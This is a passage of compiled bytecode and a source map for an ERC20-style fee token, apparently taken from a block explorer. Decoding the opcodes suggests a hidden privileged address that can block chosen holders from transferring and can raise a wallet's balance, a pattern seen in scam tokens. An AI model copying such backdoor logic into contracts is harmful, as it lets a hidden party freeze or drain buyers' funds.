16565b6118ee565b6001905092915050565b60115481565b60006113d16113ca6118e6565b8484611ab9565b506001905092915050565b600d5481565b6113ea6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90612fb1565b60405180910390fd5b80601860156101000a81548160ff02191690831515021790555050565b600c5481565b6114a2611f76565b60005b828290508110156115415783600b60008585858181106114c8576114c76133f5565b5b90506020020160208101906114dd91906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115399061331f565b9150506114a5565b50505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60086020528060005260406000206000915054906101000a900460ff1681565b600f5481565b60165481565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b6116546118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612fb1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117cc6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185090612fb1565b60405180910390fd5b81600c8190555080600d8190555061187e600d54600c5461188890919063ffffffff16565b6012819055505050565b600080828461189791906130f6565b9050838110156118dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d390612f71565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590612f51565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aac9190613011565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2190612fd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9190612f31565b60405180910390fd5b601860149054906101000a900460ff1615611bc157611bba848484611fd2565b9050611ec1565b6000611bcc30610fd6565b905060006016548210159050808015611bf25750601860149054906101000a900460ff16155b8015611c485750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c605750601860159054906101000a900460ff165b15611c6f57611c6e826121a5565b5b611cc184600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2c90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611da75750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611dbb57611db68787876122ab565b611dbd565b845b9050611e1181600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611eb19190613011565b60405180910390a3600193505050505b9392505050565b6000838311158290611f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f079190612f0f565b60405180910390fd5b5060008385611f1f91906131d7565b9050809150509392505050565b6000611f6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec8565b905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd057600080fd5b565b600061205d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121929190613011565b60405180910390a3600190509392505050565b6001601860146101000a81548160ff02191690831515021790555060008190506121ce8161257b565b6000479050600060145490506000612203826121f5601154866127d090919063ffffffff16565b61284b90919063ffffffff16565b9050600061221a8285611f2c90919063ffffffff16565b9050600081111561225257612251600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612895565b5b600082111561228857612287600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612895565b5b50505050506000601860146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661235b57600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561235a57600080fd5b5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123dc576123d560646123c7601254866127d090919063ffffffff16565b61284b90919063ffffffff16565b905061245a565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612459576124566064612448601354866127d090919063ffffffff16565b61284b90919063ffffffff16565b90505b5b600081111561255e576124b581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125559190613011565b60405180910390a35b6125718184611f2c90919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561259857612597613424565b5b6040519080825280602002602001820160405280156125c65781602001602082028036833780820191505090505b50905030816000815181106125de576125dd6133f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561268057600080fd5b505afa158015612694573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126b89190612a1a565b816001815181106126cc576126cb6133f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161279795949392919061302c565b600060405180830381600087803b1580156127b157600080fd5b505af19250505080156127c2575060015b6127cb576127cc565b5b5050565b6000808314156127e35760009050612845565b600082846127f1919061317d565b9050828482612800919061314c565b14612840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283790612f91565b60405180910390fd5b809150505b92915050565b600061288d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128e0565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128db573d6000803e3d6000fd5b505050565b60008083118290612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e9190612f0f565b60405180910390fd5b5060008385612936919061314c565b9050809150509392505050565b6000813590506129528161365a565b92915050565b6000815190506129678161365a565b92915050565b60008083601f84011261298357612982613458565b5b8235905067ffffffffffffffff8111156129a05761299f613453565b5b6020830191508360208202830111156129bc576129bb61345d565b5b9250929050565b6000813590506129d281613671565b92915050565b6000813590506129e781613688565b92915050565b600060208284031215612a0357612a02613467565b5b6000612a1184828501612943565b91505092915050565b600060208284031215612a3057612a2f613467565b5b6000612a3e84828501612958565b91505092915050565b60008060408385031215612a5e57612a5d613467565b5b6000612a6c85828601612943565b9250506020612a7d85828601612943565b9150509250929050565b600080600060608486031215612aa057612a9f613467565b5b6000612aae86828701612943565b9350506020612abf86828701612943565b9250506040612ad0868287016129d8565b9150509250925092565b60008060408385031215612af157612af0613467565b5b6000612aff85828601612943565b9250506020612b10858286016129d8565b9150509250929050565b600080600060408486031215612b3357612b32613467565b5b600084013567ffffffffffffffff811115612b5157612b50613462565b5b612b5d8682870161296d565b93509350506020612b70868287016129c3565b9150509250925092565b600060208284031215612b9057612b8f613467565b5b6000612b9e848285016129c3565b91505092915050565b600080600060408486031215612bc057612bbf613467565b5b6000612bce868287016129c3565b935050602084013567ffffffffffffffff811115612bef57612bee613462565b5b612bfb8682870161296d565b92509250509250925092565b60008060408385031215612c1e57612c1d613467565b5b6000612c2c858286016129d8565b9250506020612c3d85828601612943565b9150509250929050565b60008060408385031215612c5e57612c5d613467565b5b6000612c6c858286016129d8565b9250506020612c7d858286016129d8565b9150509250929050565b6000612c938383612cae565b60208301905092915050565b612ca88161321d565b82525050565b612cb78161320b565b82525050565b612cc68161320b565b82525050565b6000612cd7826130b1565b612ce181856130d4565b9350612cec836130a1565b8060005b83811015612d1d578151612d048882612c87565b9750612d0f836130c7565b925050600181019050612cf0565b5085935050505092915050565b612d338161322f565b82525050565b612d4281613272565b82525050565b612d5181613284565b82525050565b6000612d62826130bc565b612d6c81856130e5565b9350612d7c8185602086016132ba565b612d858161346c565b840191505092915050565b6000612d9d6023836130e5565b9150612da88261347d565b604082019050919050565b6000612dc06022836130e5565b9150612dcb826134cc565b604082019050919050565b6000612de3601b836130e5565b9150612dee8261351b565b602082019050919050565b6000612e066021836130e5565b9150612e1182613544565b604082019050919050565b6000612e296020836130e5565b9150612e3482613593565b602082019050919050565b6000612e4c6025836130e5565b9150612e57826135bc565b604082019050919050565b6000612e6f6024836130e5565b9150612e7a8261360b565b604082019050919050565b612e8e8161325b565b82525050565b612e9d81613265565b82525050565b6000602082019050612eb86000830184612cbd565b92915050565b6000602082019050612ed36000830184612c9f565b92915050565b6000602082019050612eee6000830184612d2a565b92915050565b6000602082019050612f096000830184612d39565b92915050565b60006020820190508181036000830152612f298184612d57565b905092915050565b60006020820190508181036000830152612f4a81612d90565b9050919050565b60006020820190508181036000830152612f6a81612db3565b9050919050565b60006020820190508181036000830152612f8a81612dd6565b9050919050565b60006020820190508181036000830152612faa81612df9565b9050919050565b60006020820190508181036000830152612fca81612e1c565b9050919050565b60006020820190508181036000830152612fea81612e3f565b9050919050565b6000602082019050818103600083015261300a81612e62565b9050919050565b60006020820190506130266000830184612e85565b92915050565b600060a0820190506130416000830188612e85565b61304e6020830187612d48565b81810360408301526130608186612ccc565b905061306f6060830185612cbd565b61307c6080830184612e85565b9695505050505050565b600060208201905061309b6000830184612e94565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131018261325b565b915061310c8361325b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314157613140613368565b5b828201905092915050565b60006131578261325b565b91506131628361325b565b92508261317257613171613397565b5b828204905092915050565b60006131888261325b565b91506131938361325b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131cc576131cb613368565b5b828202905092915050565b60006131e28261325b565b91506131ed8361325b565b925082821015613200576131ff613368565b5b828203905092915050565b60006132168261323b565b9050919050565b60006132288261323b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327d82613296565b9050919050565b600061328f8261325b565b9050919050565b60006132a1826132a8565b9050919050565b60006132b38261323b565b9050919050565b60005b838110156132d85780820151818401526020810190506132bd565b838111156132e7576000848401525b50505050565b6000600282049050600182168061330557607f821691505b60208210811415613319576133186133c6565b5b50919050565b600061332a8261325b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335d5761335c613368565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6136638161320b565b811461366e57600080fd5b50565b61367a8161322f565b811461368557600080fd5b50565b6136918161325b565b811461369c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e7f12ce840d1eb3d71650e4325e578ac5b44c0872cf8e5fb86d1c8c862ad6adc64736f6c63430008070033
Deployed Bytecode Sourcemap
3865:10433:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6612:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7899:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4139:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6889:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10671:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4186:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9494:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6798:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4388:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7268:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4559:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5322:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4845:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9136:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8886:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6997:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8413:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10413:250;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4969:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4504:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6703:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7771:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5014:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7494:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4886:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9799:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4719:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9362:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4677:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10075:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5255:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4762:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4445:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4805:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4611:57;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7117:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4925:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4081:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8639:239;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6612:83;6649:13;6682:5;6675:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6612:83;:::o;7899:161::-;7974:4;7991:39;8000:12;:10;:12::i;:::-;8014:7;8023:6;7991:8;:39::i;:::-;8048:4;8041:11;;7899:161;;;;:::o;4139:40::-;;;;;;;;;;;;;:::o;5207:41::-;;;;;;;;;;;;;:::o;6889:100::-;6942:7;6969:12;;6962:19;;6889:100;:::o;10671:313::-;10769:4;10786:36;10796:6;10804:9;10815:6;10786:9;:36::i;:::-;;10833:121;10842:6;10850:12;:10;:12::i;:::-;10864:89;10902:6;10864:89;;;;;;;;;;;;;;;;;:11;:19;10876:6;10864:19;;;;;;;;;;;;;;;:33;10884:12;:10;:12::i;:::-;10864:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;10833:8;:121::i;:::-;10972:4;10965:11;;10671:313;;;;;:::o;4186:81::-;;;:::o;9494:128::-;9547:7;9574:40;9591:22;9601:11;9591:9;:22::i;:::-;9574:12;;:16;;:40;;;;:::i;:::-;9567:47;;9494:128;:::o;6798:83::-;6839:5;6864:9;;;;;;;;;;;6857:16;;6798:83;:::o;4388:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;7268:218::-;7356:4;7373:83;7382:12;:10;:12::i;:::-;7396:7;7405:50;7444:10;7405:11;:25;7417:12;:10;:12::i;:::-;7405:25;;;;;;;;;;;;;;;:34;7431:7;7405:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7373:8;:83::i;:::-;7474:4;7467:11;;7268:218;;;;:::o;4559:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5322:40::-;;;;;;;;;;;;;:::o;4845:34::-;;;;:::o;9136:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9242:9:::1;9238:109;9261:6;;:13;;9257:1;:17;9238:109;;;9329:6;9296:19;:30;9316:6;;9323:1;9316:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9296:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9276:3;;;;;:::i;:::-;;;;9238:109;;;;9136:218:::0;;;:::o;8886:242::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9000:15:::1;8980:17;:35;;;;9041:10;9026:12;:25;;;;9085:35;9107:12;;9085:17;;:21;;:35;;;;:::i;:::-;9064:18;:56;;;;8886:242:::0;;:::o;6997:112::-;7063:7;7090:2;:11;7093:7;7090:11;;;;;;;;;;;;;;;;7083:18;;6997:112;;;:::o;8413:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8517:9:::1;8513:111;8536:7;;:14;;8532:1;:18;8513:111;;;8604:8;8572:17;:29;8590:7;;8598:1;8590:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8572:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;8552:3;;;;;:::i;:::-;;;;8513:111;;;;8413:218:::0;;;:::o;10413:250::-;10529:3;:1;:3::i;:::-;10543:14;10585:28;10560:2;:22;10563:18;10560:22;;;;;;;;;;;;;;;;:53;;;;:::i;:::-;10543:70;;10649:6;10624:2;:22;10627:18;10624:22;;;;;;;;;;;;;;;:31;;;;10518:145;10413:250;;:::o;4969:38::-;;;;:::o;4504:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;6703:87::-;6742:13;6775:7;6768:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6703:87;:::o;7771:120::-;7833:7;7860:23;;7853:30;;7771:120;:::o;5014:44::-;;;;:::o;7494:269::-;7587:4;7604:129;7613:12;:10;:12::i;:::-;7627:7;7636:96;7675:15;7636:96;;;;;;;;;;;;;;;;;:11;:25;7648:12;:10;:12::i;:::-;7636:25;;;;;;;;;;;;;;;:34;7662:7;7636:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7604:8;:129::i;:::-;7751:4;7744:11;;7494:269;;;;:::o;4886:30::-;;;;:::o;9799:167::-;9877:4;9894:42;9904:12;:10;:12::i;:::-;9918:9;9929:6;9894:9;:42::i;:::-;;9954:4;9947:11;;9799:167;;;;:::o;4719:30::-;;;;:::o;9362:118::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9464:8:::1;9440:21;;:32;;;;;;;;;;;;;;;;;;9362:118:::0;:::o;4677:35::-;;;;:::o;10075:330::-;10204:3;:1;:3::i;:::-;10223:9;10218:180;10238:29;;:36;;10234:1;:40;10218:180;;;10358:28;10296:24;:58;10321:29;;10351:1;10321:32;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10296:58;;;;;;;;;;;;;;;;:90;;;;;;;;;;;;;;;;;;10276:3;;;;;:::i;:::-;;;;10218:180;;;;10075:330;;;:::o;5255:26::-;;;;;;;;;;;;;:::o;4762:36::-;;;;:::o;4445:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;4805:31::-;;;;:::o;5137:60::-;;;;:::o;4611:57::-;;;;;;;;;;;;;;;;;;;;;;:::o;7117:143::-;7198:7;7225:11;:18;7237:5;7225:18;;;;;;;;;;;;;;;:27;7244:7;7225:27;;;;;;;;;;;;;;;;7218:34;;7117:143;;;;:::o;4925:37::-;;;;:::o;3155:157::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3238:10:::1;3229:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3293:10;3264:40;;3285:6;::::0;::::1;;;;;;;;3264:40;;;;;;;;;;;;3155:157:::0;:::o;4081:51::-;;;;;;;;;;;;;:::o;8639:239::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8754:15:::1;8735:16;:34;;;;8794:10;8780:11;:24;;;;8837:33;8858:11;;8837:16;;:20;;:33;;;;:::i;:::-;8817:17;:53;;;;8639:239:::0;;:::o;1045:181::-;1103:7;1123:9;1139:1;1135;:5;;;;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:1;1210:8;;;1045:181;;;;:::o;98:115::-;151:15;194:10;179:26;;98:115;:::o;8068:337::-;8178:1;8161:19;;:5;:19;;;;8153:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8259:1;8240:21;;:7;:21;;;;8232:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8343:6;8313:11;:18;8325:5;8313:18;;;;;;;;;;;;;;;:27;8332:7;8313:27;;;;;;;;;;;;;;;:36;;;;8381:7;8365:32;;8374:5;8365:32;;;8390:6;8365:32;;;;;;:::i;:::-;;;;;;;;8068:337;;;:::o;10994:1116::-;11072:4;11115:1;11099:18;;:4;:18;;;;11091:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11192:1;11178:16;;:2;:16;;;;11170:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11258:16;;;;;;;;;;;11255:848;;;11307:32;11322:4;11328:2;11332:6;11307:14;:32::i;:::-;11300:39;;;;11255:848;11391:28;11422:24;11440:4;11422:9;:24::i;:::-;11391:55;;11461:28;11516:23;;11492:20;:47;;11461:78;;11558:23;:44;;;;;11586:16;;;;;;;;;;;11585:17;11558:44;:67;;;;;11607:12;:18;11620:4;11607:18;;;;;;;;;;;;;;;;;;;;;;;;;11606:19;11558:67;:92;;;;;11629:21;;;;;;;;;;;11558:92;11554:183;;;11685:36;11700:20;11685:14;:36::i;:::-;11554:183;11764:20;11777:6;11764:2;:8;11767:4;11764:8;;;;;;;;;;;;;;;;:12;;:20;;;;:::i;:::-;11753:2;:8;11756:4;11753:8;;;;;;;;;;;;;;;:31;;;;11799:19;11822:17;:23;11840:4;11822:23;;;;;;;;;;;;